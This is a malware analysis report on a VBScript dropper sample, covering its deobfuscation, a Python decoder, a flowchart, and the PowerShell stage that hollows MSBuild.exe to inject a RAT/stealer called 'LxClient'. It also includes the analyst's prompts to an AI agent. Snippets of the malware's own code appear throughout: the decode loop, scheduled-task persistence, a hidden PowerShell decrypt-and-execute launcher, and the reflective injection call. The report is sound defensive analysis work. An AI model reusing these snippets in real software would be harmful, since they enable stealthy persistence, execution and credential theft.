Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae/
- File type: VBS
- Size: 1.1 MB
Analysis
Obfuscation
- String manipulation using
StrReverseVBS function:
wire_0e36b0=StrReverse("labolGetucexE")
- Runtime decoding of embedded payload:
idx_i_fb81 = 1
key_k_b17e = 245
Do Until idx_i_fb81 > Len(enc_zz_a49c)
ch_hi_27c0 = InStr(pal_a_c624, Mid(enc_zz_a49c, idx_i_fb81, 1)) - 1
ch_lo_774c = InStr(pal_b_55ba, Mid(enc_zz_a49c, idx_i_fb81 + 1, 1)) - 1
v_byte_7498 = ((ch_hi_27c0 * 16) Or ch_lo_774c)
v_byte_7498 = (v_byte_7498 - (((idx_i_fb81 - 1) \ 2) * 169)) And 255
v_byte_7498 = v_byte_7498 Xor key_k_b17e
out_r_4a5c = out_r_4a5c & Chr(v_byte_7498)
key_k_b17e = (key_k_b17e * 123 + 161) And 255
idx_i_fb81 = idx_i_fb81 + 2
Loop
- String fragmentation:
"ExecuteGlobal"&" out_r_4a5c"
- Execute-wrapping of plain statements:
Execute "ExecuteGlobal"&" out_r_4a5c"
- Dead/junk code:
Dim tmp_x_6cd5: tmp_x_6cd5 = 59214
Dim tmp_x_5625: tmp_x_5625 = 82095
Dim tmp_x_fff7: tmp_x_fff7 = 39068
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_fold_builtin_calls.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass1.vbs
{"changed":1,"input_bytes":1159926,"output_bytes":1159914,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass1.vbs"}
> python .\vbs_fold_constant_loops.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass1.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass2.vbs
{"changed":1,"loops_folded":1,"loops_declined":0,"input_bytes":1159914,"output_bytes":1739913,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass2.vbs"}
> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass2.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass3.vbs
{"changed":4,"substituted_reads":4,"input_bytes":1739913,"output_bytes":1739909,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass3.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass3.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass4.vbs
{"changed":1,"input_bytes":1739909,"output_bytes":1739906,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass4.vbs"}
> python .\vbs_unwrap_execute.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass4.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass5.vbs
{"changed":1,"unwrapped":1,"input_bytes":1739906,"output_bytes":1739932,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass5.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass5.vbs --output C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass6.vbs --aggressive
{"changed":26,"input_bytes":1739932,"output_bytes":580555,"output_path":"C:\\Users\\Ashura\\Desktop\\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass6.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\323b89209895cf53e34e0ed545fd8372f499d1c1a994c7972b5e7f09d17d60ae_pass6.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
You can leverage language-specific deobfuscation utilities that are in @Tools\Inhouse. Their usages should make it to the report as well.
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A["VBScript dropper runs<br/>(self-decoding wrapper holding one large encoded string)"] --> B["Wrapper decodes and runs<br/>an embedded second VBScript stage"]
B --> C["Second stage reassembles a third,<br/>cipher-encoded VBScript fragment from<br/>scattered pieces, then runs it"]
C --> D["Third stage copies itself to<br/>%LOCALAPPDATA%\Photo Studio\PhotoStudio.vbs"]
D --> E["Registers Scheduled Task 'PhotoStudioVBS'<br/>(runs the dropped copy via wscript.exe at every logon)<br/>— persistence established"]
C --> F["Third stage decrypts an embedded,<br/>encrypted blob into a PowerShell script"]
F --> G["Drops the PowerShell script to a<br/>randomly named file under %TEMP%<br/>and runs it hidden"]
G --> H["Deletes the temporary script<br/>files afterward"]
H --> I["PowerShell stage performs anti-analysis checks<br/>(language-mode check, 10-minute self-exit timer,<br/>hides its own console window)"]
I --> J["Decrypts two embedded .NET programs<br/>from further encoded blobs"]
J --> K["Loads the first program:<br/>a generic code-injection loader"]
K --> L["Loader hollows out a legitimate,<br/>Microsoft-signed process —<br/>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"]
L --> M["Injects the second decrypted program<br/>(the final payload) into the hollowed process"]
M --> N["Final payload runs:<br/>a full remote-access / stealer implant<br/>('LxClient')"]
N --> N1["Hidden-VNC modules targeting<br/>Discord and Telegram"]
N --> N2["Browser password/cookie theft<br/>and crypto-wallet theft"]
N --> N3["Keylogger and<br/>screen/webcam capture ('grabber')"]
N --> O["Contacts ip-api.com<br/>(looks up victim's IP/location)"]
N --> P["Contacts Discord's own API<br/>(discord.com/api/v9/users/@me)<br/>to validate/steal a Discord session token"]
style A fill:#f8d7da,stroke:#842029
style N fill:#f8d7da,stroke:#842029
style E fill:#fff3cd,stroke:#997404
style L fill:#fff3cd,stroke:#997404
style O fill:#cfe2ff,stroke:#084298
style P fill:#cfe2ff,stroke:#084298
Report
Executive Summary
This file is a multi-stage, self-decoding VBScript dropper that installs a full-featured .NET Remote Access Trojan / stealer with Hidden-VNC, browser/crypto-wallet credential theft, and keylogging capabilities, delivered via in-memory process hollowing into a trusted Microsoft binary.
Execution chain, top to bottom:
- VBScript stage 1 — holds one giant string variable (
out_r_4a5c, ~2,460 lines / ~580 KB) and runs it withExecuteGlobal. - VBScript stage 2 (the content of
out_r_4a5c) — ~1,700 lines of real logic buried under hundreds ofDim a,b:a=N:b=a Xor Mnumeric-junk statements and several multi-kilobyte encoded blobs. It (a) reassembles a 9-part, custom-cipher-encoded VBScript fragment (seq42Ring) via aScripting.Dictionaryand a decode functionfrm16Node, thenExecuteGlobals it as stage 3; and (b) separately reassembles, decodes (custom-alphabet -> Base64), and stores a large AES key/ciphertext pair (gfxSpec9625/tblLink5127) used later. - VBScript stage 3 (
seq42Ring, fully recovered — see §2.3) — the actual malicious logic: it copies itself to%LOCALAPPDATA%\Photo Studio\PhotoStudio.vbsand registers a Scheduled TaskPhotoStudioVBSthat re-launches it at every logon (persistence), then AES-256-ECB-decrypts the stage-2 blob into a PowerShell script, writes it to a randomly-named.ps1in%TEMP%, runs it viapowershell.exe -NoProfile -ExecutionPolicy Bypass -File, and deletes the temp artifacts afterward. - PowerShell stage 4 (fully recovered — see §2.4) — ~388 KB. It checks it isn’t running in Constrained Language Mode, arms a 10-minute watchdog self-exit, hides its own console window, then AES-256-CBC-decrypts (+Deflate-decompresses) two embedded .NET assemblies, and uses the first (a generic reflective loader) to inject the second (the real payload) via process hollowing into
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe— a documented living-off-the-land technique also reported publicly in other MSBuild-hollowing loaders. - Final payload (a 571 KB .NET PE, extracted and hashed — see §2.5) — internally named “LxClient”. Extracted strings show it is a full RAT/stealer kit: Hidden-VNC modules for Discord and Telegram, Discord-token theft, browser password/cookie theft across a long list of Chromium-based browsers, crypto-wallet theft (Wasabi Wallet, Steam), IMAP/POP3/SMTP credential theft, a keylogger, and a screen/webcam “grabber”. This bundle of features (RAT + HVNC + Stealer + Grabber) matches the advertised feature set of commodity RAT-builder kits sold on cybercrime forums (e.g. “Venom RAT Pro — HVNC + Stealer + RAT”).
Details
Obfuscation overview
The file pads every statement with a blank line on both sides:
On Error Resume Next
Dim out_r_4a5c
out_r_4a5c = "Dim idxMenu269,svcMenu6700:idxMenu269=9:svcMenu6700=idxMenu269 Xor 56
Dim frmFlag4625,idxPage7608:frmFlag4625=86:idxPage7608=frmFlag4625 Xor 146
Dim prnStat1456:prnStat1456=2531+72
Dim docNode2295:docNode2295=True
Pure visual/volume padding — no semantic effect once collapsed.
Beyond padding, the dominant technique throughout is numeric-constant junk: thousands of Dim a,b:a=<const>:b=a Xor <const> / a=<const1>+<const2> declarations whose values are either never read again (dead code) or trivially fold to a constant. These exist purely to inflate file size and defeat signature/entropy-based scanners.
Stage 1 -> Stage 2 handoff
Line 3 opens a string literal that contains real embedded line breaks and doubled "" quote-escapes:
out_r_4a5c = "Dim idxMenu269,svcMenu6700:idxMenu269=9:svcMenu6700=idxMenu269 Xor 56
...
Dim frmLock5336:frmLock5336=""JKfJy...
...
[≈2,450 more "lines" of content]
...
"
If Len(CStr(Now))>0 Then
ExecuteGlobal out_r_4a5c ' <deobfuscator> unwrapped Execute
End If
The original obfuscated source built out_r_4a5c as hundreds of "<fragment>" & vbCrLf & "<fragment>" concatenations (one fragment per logical line of the embedded stage-2 script, each internally quote-escaped as "" since it is source-within-a-source-string).
Note: An automated deobfuscation pass folded that concatenation chain to a single literal and wrote the resulting real vbCrLf bytes straight into the file — which is why the file is no longer directly re-runnable via cscript, but *is* a completely faithful, static dump of stage 2’s source once the outer "" -> " escaping is undone.
Toolkit usage and findings
The VBS deobfuscation toolkit was run as an iterative chain against the extracted stage2 VBS. This reduced stage 2 from 1,719 lines / 579 KB to 914 lines / ~561 KB, with all XOR/arithmetic junk resolved and dead cod e removed.
| Tool | Purpose here | Result |
|---|---|---|
vbs_fold_chr_calls.py |
Fold Chr(N) -> literal char |
3 folds |
vbs_fold_arithmetic.py |
Fold constant arithmetic (2531+72, &H...) |
1 fold |
vbs_fold_concat.py |
Collapse &-chains of literals |
115 folds total across rounds |
vbs_fold_builtin_calls.py |
Evaluate Replace(), Mid(), etc. on constants |
16 folds total |
vbs_propagate_constants.py |
Substitute known-constant variables at read sites | 405 substitutions |
vbs_fold_constant_loops.py |
Simulate bounded loops over constant inputs | 3 loops folded (e.g. the Chr()-building alphabet loops in tblProp2676) |
vbs_unwrap_execute.py |
Inline Execute "<const stmt>" |
1 unwrap (Execute hdl_719158&" "&seq42Ring -> ExecuteGlobal seq42Ring) |
vbs_remove_deadcode.py --aggressive |
Remove unread stores / statically-false blocks / unreferenced function definitions | |
| 1,121 statements removed | ||
vbs_expand_colons.py / vbs_collapse_blanklines.py |
Readability only | — |
vbs_extract_variables.py |
Map variables -> decoded values -> sinks (analysis-only, no file written) | used to locate ExecuteGlobal/CreateObject sinks |
Stage 2 payload: reassembling and running Stage 3
Stage 2’s only meaningful runtime behavior is building and executing a third VBScript stage. It uses a Scripting.Dictionary pair to store 9 real ciphertext fragments plus several decoy/unused entries:
Set bufAFMenu=CreateObject("Scripting.Dictionary")
Set apiE1Path=CreateObject("Scripting.Dictionary")
bufAFMenu.CompareMode=1 : apiE1Path.CompareMode=1
bufAFMenu.Add 1033,elm55Hook
bufAFMenu.Add 1062,"ZrYWWkcsPwUgzgHTpVjaITsCRyrkXlizwUEHNiRrAqRdtsjhdmxkDBYfZvf" ' decoy, never read
bufAFMenu.Add 1155,seqAFGrid
...
bufAFMenu.Add 1030,frm3ATask
...
apiE1Path.Add "s03",1055 : apiE1Path.Add "s00",1155 : apiE1Path.Add "s02",375522
apiE1Path.Add "s08",1040 : apiE1Path.Add "s07",1030 : apiE1Path.Add "s05",1077
apiE1Path.Add "s01",1033 : apiE1Path.Add "s06",1050 : apiE1Path.Add "s04",1066
Only 9 of ~14 dictionary entries (1155,1033,375522,1055,1066,1077,1050,1030,1040, addressed as s00..s08) are ever read back; the rest (1062,1153,1083,1111,1029) are decoy filler.
Each fragment is decoded by frm16Node, a custom stream cipher: it converts each ciphertext character pair to a nibble pair via two lookup tables (Left/Mid slices of a 32-char alphabet), XORs against a second table-driven byte keyed by a running absolute position (idx58Mark + loop counter, not reset between fragments — the 3-bit rotation applied per byte cycles with period 3 over that same running position), and finally bit-rotates the result by one of three schedules chosen by position mod 3:
Function frm16Node(rpcCDLink,idx58Mark)
...
tok64Menu=(tok64Menu-((cfgC3View*CLng(apiAFNode)+CLng(cfgBEWire)+exOff-1) And 255)+256) Mod 256
sigBBStub=(cfgC3View*CLng(mem9AHeap)+CLng(row9FPool)) Mod CLng(stkA3Host)
...
tok64Menu=(tok64Menu Xor que9DSlot) And 255
vTrio=cfgC3View Mod 3
If vTrio=0 Then tok64Menu=(tok64Menu\16) Or ((tok64Menu Mod 16)*16)
If vTrio=1 Then tok64Menu=(tok64Menu\2) Or ((tok64Menu Mod 2)*128)
If vTrio=2 Then tok64Menu=((tok64Menu*4) And 255) Or (tok64Menu\64)
sigF3Grid(prn7FCtrl)=Chr(tok64Menu)
This was hand-ported to Python (see Appendix A for script) and run against all 9 fragments in s00..s08 order. All 9 decoded cleanly to valid, contiguous VBScript totaling 13,558 characters / 211 lines — this is Stage 3, executed via:
Dim hdl_719158:hdl_719158=Replace("ExecuteG$oba$","$","l")
If TypeName(CInt(73))="Integer" Then
Execute hdl_719158&" seq42Ring"
End If
hdl_719158 resolves to the literal string "ExecuteGlobal" — a one-character-substitution obfuscation of that keyword — so this line is functionally ExecuteGlobal seq42Ring.)
Stage 3 in full does the following (all identifiers below are the malware’s own, recovered variable/function names):
- Declares readable config constants, e.g.:
Dim CONFIG_PERSISTENCE_SANCTUARY_NAME : CONFIG_PERSISTENCE_SANCTUARY_NAME = "Photo Studio" Dim CONFIG_CORE_MODULE_FILENAME : CONFIG_CORE_MODULE_FILENAME = "PhotoStudio.vbs" Dim CONFIG_PERSISTENCE_TASK_TAG : CONFIG_PERSISTENCE_TASK_TAG = "PhotoStudioVBS"-> the persistence folder name, dropped filename, and scheduled-task name (all IOCs, §3).
- Persistence (
EstablishLongTermPersistenceMechanism): copies the running script to%LOCALAPPDATA%\Photo Studio\PhotoStudio.vbs, then builds a Task Scheduler XML (<LogonTrigger>,RunLevel=LeastPrivilege, hidden,<Command>wscript.exe</Command>against that copy) and registers it with:strFullSchedulerCommand = CMD_SCHEDULER_CREATE_INVOCATION & CONFIG_PERSISTENCE_TASK_TAG & CMD_SCHEDULER_XML_ARGUMENT & strTaskXmlDefinitionPath & CMD_SCHEDULER_FORCE_ARGUMENT objSystemNexus.Run strFullSchedulerCommand, 0, True ' schtasks.exe /create /tn "PhotoStudioVBS" /xml "<path>" /fi.e. the task will re-launch the dropped copy via
wscript.exeat every user logon. - Payload decryption + execution (
InitiatePrimaryExecutionSequence/AssembleDecryptionPayloadScript): builds a small PowerShell script on the fly that AES-256-ECB-decrypts the stage-2 blob (g_EncodedCiphertextPayload_B64/g_CipherKeyMaterial_B64, i.e. stage 2’stblLink5127/gfxSpec9625) and writes the result to%TEMP%\<random-hex-dir>\script.ps1:strPsScriptBuilder = strPsScriptBuilder & "$e=[Convert]::FromBase64String('" & strEncodedData & "')" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "$k=[Convert]::FromBase64String('" & strKeyMaterial & "')" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "$a=New-Object System.Security.Cryptography.AesCryptoServiceProvider" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "$a.Mode=[System.Security.Cryptography.CipherMode]::ECB" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "$p=$a.CreateDecryptor().TransformFinalBlock($e,0,$e.Length)" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "[System.IO.File]::WriteAllBytes('" & strDecryptedOutputPath & "',$p)" & strLineTerminator strPsScriptBuilder = strPsScriptBuilder & "& '" & strDecryptedOutputPath & "'" & strLineTerminatorThis is then dropped to a second random
.ps1in%TEMP%(viaADODB.Stream, written as UTF-8-no-BOM) and launched with:strArguments = "-NoProfile" & " " & "-ExecutionPolicy Bypass" & " " & "-File """ & strScriptPath & """" objSystemNexus.Run strEnginePath & " " & strArguments, 0, True(window style
0= hidden; final argumentTrue= the VBScript blocks until the PowerShell process exits before proceeding to delete the temp.ps1files — this is a synchronous, wait-then-clean-up launch, not fire-and-forget.)
Stage 2’s encoded blob feeding this step (tblLink5127/gfxSpec9625) is built from a second, independent obfuscation layer: docName6206 (a 44-char key blob) and a 255-slot sparse array tagPage4426(254) (holding the ~517 KB ciphertext, scattered across 255 decoy-interspersed assignment statements at lines 1053–1661) are each run through a simple custom-alphabet->Base64 substitution:
Function tblProp2676(sysProp1207)
tagLock983="umdgyp9M/nZ58cNVPC=0fvrt6wHjIheFLDUBiGQo14zWRKOqTbaElsk+JAX32Y7Sx"
' tblTask4501 built as A-Z, a-z, 0-9, "+/=" (standard base64 alphabet)
' substitutes each char of sysProp1207 by its position in tagLock983 -> same position in tblTask4501
docName6206/tagPage4426 are ordinary Base64 wearing a rotated alphabet as a disguise.
Stage 4: the decrypted PowerShell loader
Feeding the AES-256-ECB key/ciphertext recovered above (gfxSpec9625/tblLink5127) through the exact algorithm stage 3 builds and PKCS7-unpadding the result yields 387,901 bytes of PowerShell, opening with:
function parseConfig { ... } # custom base-52 (A-Za-z) big-integer decoder, 10 chars -> 7 bytes
Its structure:
- Anti-analysis: a 10-minute self-
Exitwatchdog timer; a check that it is running inFullLanguagemode (a common AMSI/Constrained-Language-Mode-bypass-detection guard) thatexits otherwise; aHide-ExecutorConsolefunction that P/InvokesFreeConsole/ShowWindow(...,0)to hide its own window. - Two embedded blobs, each custom-base52-decoded (
parseConfig) then rotate+XOR “pre-whitened” then AES-256-CBC decrypted then raw-Deflate decompressed (initializeComponent):$s[$i] = [byte]((($b -shr $r) -bor ($b -shl (8 - $r))) -band 0xFF) -bxor $k[$i % $kl] -bxor 0x5A ... $p.Mode = [System.Security.Cryptography.CipherMode]::CBC $p.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7$b1(28,048 bytes decoded -> 60,416-byte .NET PE after decompression) — a generic reflective loader assembly, loaded straight into the current AppDomain viaAssembly.Load(byte[]).$b2(239,696 bytes decoded -> 571,392-byte .NET PE) — the final payload.
- Process-hollowing launch:
$tp = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" #XLOADER $tp = [Diagnostics.Process]::GetCurrentProcess().MainModule.FileName $gardenType = $asmHandle.GetType((-join([char[]](78,101,98,117,108,97,67,97,99,116,117,115))) + '.' + (-join([char[]](79,114,98,105,116,83,97,108,115,97)))) $bf = [Reflection.BindingFlags]::NonPublic -bor [Reflection.BindingFlags]::Public -bor [Reflection.BindingFlags]::Static -bor [Reflection.BindingFlags]::InvokeMethod $null = $gardenType.InvokeMember((-join([char[]](82,111,103,117,101,108,105,107,101))), $bf, $null, $null, @($b2, $tp, "carousel-7f4a", [uint32]0x5045, $true))The char-code arrays decode to the loader’s own type name
NebulaCactus.OrbitSalsaand methodRoguelike(both confirmed present verbatim inside the extracted loader assembly itself, §2.5) — obfuscating the reflection call from static string scanners.0x5045is ASCII"PE". The commented-out#XLOADERline (an alternate “inject into self” mode, disabled in this build) is the only naming hint toward a possible builder/crypter lineage and is noted as a loose thread, not a confirmed family attribution.Net effect: the final payload (
$b2, a PE) is injected into a hollowed, suspendedMSBuild.exeprocess — a legitimate, Microsoft-signed binary — via the loader assembly’sRoguelikemethod, then resumed.
Final payload: the injected .NET binary
Both embedded assemblies were decrypted to disk for identification (never executed) using the scripts in Appendix B — one recovers both PE files from the PowerShell stage’s embedded blobs, the other parses their PE headers and extracts the strings tabulated below.
- Loader assembly — 60,416 bytes, .NET PE, x64. PE timestamp 2026-08-06 (i.e., compiled roughly a week before this analysis — a fresh/current build). Contains the strings
NebulaCactus,OrbitSalsa,Roguelike, and importsCreateProcessW, consistent with a process-hollowing loader that startsMSBuild.exesuspended and repurposes it. - Final payload — 571,392 bytes, .NET PE, x64. PE timestamp 2000-06-01 — a zeroed/spoofed compile date, a common trait of .NET-obfuscator/protector output used to defeat timestamp-based triage.
String extraction from the final payload shows a fully-featured RAT + stealer, internally branded “LxClient”:
| Capability | Evidence (extracted strings) |
|---|---|
| Hidden VNC | HVNC_Discord, HVNC_Discord_Fresh, HVNC_Telegram, HVNC_Telegram_Fresh |
| Discord account theft | discord.com/api/v9/users/@me (token/session validation endpoint) |
| Browser credential/cookie theft | SELECT origin_url, username_value, password_value FROM logins; registry probes for 20+ Chromium-family browsers (Chrome, Chrome Beta/Canary, 360Chrome, OperaGX, Torch, …) |
| Crypto-wallet theft | WalletWasabi\Client\Wallets, Steam config.vdf account queries |
| Mail credential theft | IMAP Password, POP3 Server, SMTP Server |
| Keylogging | Keylogger, get__keylogPath, KeyloggerResponse |
| Screen/webcam capture | grabber_snapshot, grabber_video |
| Victim fingerprinting | http://ip-api.com/json/ (IP geolocation) |
| Process injection primitives | VirtualAllocEx, NtCreateThreadEx, NtClose, SetDllDirectory |
| Task/self-management | TaskScheduleData, PayloadStubUpload, mutexName |
No plaintext C2 address was found in any of the five stages; a true C2 endpoint, if present, is inside this payload’s own internal (unexamined) configuration/resources.
IOCs
- Host:
| Type | Value |
|---|---|
| Dropped copy of the VBS | %LOCALAPPDATA%\Photo Studio\PhotoStudio.vbs |
| Persistence folder name | Photo Studio |
| Persistence install command | schtasks.exe /create /tn "PhotoStudioVBS" /xml "<temp path>.xml" /f |
| Scheduled task name | PhotoStudioVBS (Logon trigger, runs wscript.exe "PhotoStudio.vbs", hidden, least-privilege) |
| Transient decrypted PS loader | %TEMP%\<random 8-char hex dir>\script.ps1 (AES key/decryptor script) |
| Transient PS launcher script | %TEMP%\<random 8-char hex>.ps1 (deleted after execution) |
| PowerShell launch command pattern | powershell.exe -NoProfile -ExecutionPolicy Bypass -File "<temp>.ps1" |
| Injection target (process-hollowed) | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe |
- Network:
| Type | Value | Note |
|---|---|---|
| URL | http://ip-api.com/json/ |
Legitimate IP-geolocation service, used for victim fingerprinting |
| URL | https://discord.com/api/v9/users/@me |
Legitimate Discord API, abused to validate/steal a Discord session token |
Appendix A: frm16Node decode script
The Python hand-port referenced in §2.3, used to decode all 9 stage-3 ciphertext fragments once the toolkit’s own loop-fold declined the Scripting.Dictionary-driven loop (a scope gap, not a bug — the resolver has no model of Scripting.Dictionary, and no tool inlines a multi-statement function like frm16Node into a caller before folding). It reconstructs each ciphertext blob directly from stage2_raw.vbs’s own self-append/Join(Array(...)) statements (bypassing the toolkit’s fold output entirely for these values, per the workaround described in §2.2), computes each fragment’s loop-carried offset by hand, and replicates frm16Node’s substitution/XOR/rotate cipher byte-for-byte. Its output (seq42ring_decoded_v2.vbs) is the stage-3 script quoted throughout §2.3, and was independently reproduced by the fixed toolkit alone (no manual bypass needed) when validating the toolkit fixes.
import re, io
RAW = r"C:\Users\Ashura\AppData\Local\Temp\claude\C--Users-Ashura-Desktop\4be520e7-3601-4b09-acfa-7a6a199bf95d\scratchpad\vbswork\stage2_raw.vbs"
FOLDED = r"C:\Users\Ashura\AppData\Local\Temp\claude\C--Users-Ashura-Desktop\4be520e7-3601-4b09-acfa-7a6a199bf95d\scratchpad\vbswork\stage2_final_safe.vbs"
raw = io.open(RAW, encoding="utf-8").read()
folded = io.open(FOLDED, encoding="utf-8").read()
def reconstruct_selfappend(varname, text):
parts = re.findall(re.escape(varname) + r'\s*=\s*' + re.escape(varname) + r'\s*&\s*"((?:[^"])*)"', text)
if parts:
return "".join(parts)
m = re.search(re.escape(varname) + r'\s*=\s*Join\(Array\((.*?)\)\s*,\s*""\)', text, re.S)
if m:
return "".join(re.findall(r'"((?:[^"])*)"', m.group(1)))
return ""
def numlit_folded(fname):
m = re.search(r'Function ' + re.escape(fname) + r'\(\)\s*.*?' + re.escape(fname) + r'\s*=\s*("?)([^"\n]+)\1\s*\nEnd Function', folded, re.S)
val = m.group(2).strip()
return val
def strlit_folded(fname):
m = re.search(re.escape(fname) + r'\s*=\s*"((?:[^"])*)"', folded)
return m.group(1)
svc3EPool = strlit_folded("svc3EPool")
mapD5Form = strlit_folded("mapD5Form")
sslA0Span = int(numlit_folded("sslA0Span"))
ctl82Base = int(numlit_folded("ctl82Base"))
buf56Code = int(numlit_folded("buf56Code"))
datEBElem = int(numlit_folded("datEBElem"))
doc52Code = int(numlit_folded("doc52Code"))
print("helper constants: svc3EPool(len)=%d mapD5Form(len)=%d sslA0Span=%d ctl82Base=%d buf56Code=%d datEBElem=%d doc52Code=%d" %
(len(svc3EPool), len(mapD5Form), sslA0Span, ctl82Base, buf56Code, datEBElem, doc52Code))
# id -> original varname (transcribed by hand from the raw source, verified by grep)
ID_TO_VAR = {
1155: "seqAFGrid",
1033: "elm55Hook",
375522: "log57Menu",
1055: "cfgB9Span",
1066: "grp6ENode",
1077: "cfg50Grid",
1050: "dns31Span",
1030: "frm3ATask",
1040: "rpcF8Page",
}
# apiE1Path "s00".."s08" -> id, taken directly from raw source (Dictionary keys are
# stable literals, not subject to the propagate/fold blob-mixup bug)
API_MAP = {}
for m in re.finditer(r'apiE1Path\.Add\s+""(s\d\d)""\s*,\s*(\d+)', raw):
API_MAP[m.group(1)] = int(m.group(2))
if not API_MAP:
for m in re.finditer(r'apiE1Path\.Add\s+"(s\d\d)"\s*,\s*(\d+)', raw):
API_MAP[m.group(1)] = int(m.group(2))
print("API_MAP from raw:", API_MAP)
ciphertext = {}
for id_, var in ID_TO_VAR.items():
val = reconstruct_selfappend(var, raw)
ciphertext[id_] = val
print(f" id {id_} ({var}): reconstructed len {len(val)}")
order = sorted(API_MAP.keys())
print("order:", order)
def instr1(hay, ch):
idx = hay.find(ch)
return idx + 1 if idx >= 0 else 0
rpcF0Grid = svc3EPool[0:16]
ctl29Menu = svc3EPool[16:32]
hnd95Pool = mapD5Form
apiAFNode = sslA0Span
cfgBEWire = ctl82Base
mem9AHeap = buf56Code
row9FPool = datEBElem
stkA3Host = doc52Code
exOff = 1
def frm16Node(rpcCDLink, idx58Mark):
elmAAPool = len(rpcCDLink) // 2
out = [None]*elmAAPool
prn7FCtrl = 0
while prn7FCtrl < elmAAPool:
cfgC3View = prn7FCtrl + idx58Mark
c1 = rpcCDLink[prn7FCtrl*2]
c2 = rpcCDLink[prn7FCtrl*2+1]
api4FAttr = 16 - instr1(rpcF0Grid, c1)
gfxEASpan = 16 - instr1(ctl29Menu, c2)
tok64Menu = api4FAttr*16 + gfxEASpan
tok64Menu = (tok64Menu - ((cfgC3View*apiAFNode + cfgBEWire + exOff - 1) & 255) + 256) % 256
sigBBStub = (cfgC3View*mem9AHeap + row9FPool) % stkA3Host
h1 = hnd95Pool[sigBBStub*2]
h2 = hnd95Pool[sigBBStub*2+1]
elm4CBolt = 16 - instr1(rpcF0Grid, h1)
que9EPage = 16 - instr1(ctl29Menu, h2)
que9DSlot = elm4CBolt*16 + que9EPage
tok64Menu = (tok64Menu ^ que9DSlot) & 255
vTrio = cfgC3View % 3
if vTrio == 0:
tok64Menu = (tok64Menu // 16) | ((tok64Menu % 16) * 16)
if vTrio == 1:
tok64Menu = (tok64Menu // 2) | ((tok64Menu % 2) * 128)
if vTrio == 2:
tok64Menu = ((tok64Menu * 4) & 255) | (tok64Menu // 64)
out[prn7FCtrl] = chr(tok64Menu & 0xFF)
prn7FCtrl += 1
return "".join(out)
seq42Ring = ""
ref45Task = 0
for skey in order:
id_ = API_MAP[skey]
cip = ciphertext[id_]
dec = frm16Node(cip, ref45Task)
seq42Ring += dec
preview = dec[:120].replace("\n","\\n").encode("ascii","backslashreplace").decode("ascii")
print(f"[{skey}] id={id_} offset={ref45Task} ciphertext_len={len(cip)} decoded_len={len(dec)}")
print(" preview:", preview)
ref45Task += len(cip)//2
OUT = r"C:\Users\Ashura\AppData\Local\Temp\claude\C--Users-Ashura-Desktop\4be520e7-3601-4b09-acfa-7a6a199bf95d\scratchpad\vbswork\seq42ring_decoded_v2.vbs"
io.open(OUT, "w", encoding="utf-8", newline="\n").write(seq42Ring)
print("total len:", len(seq42Ring), "written to", OUT)
Appendix B: Final-payload extraction and inspection scripts (§2.5)
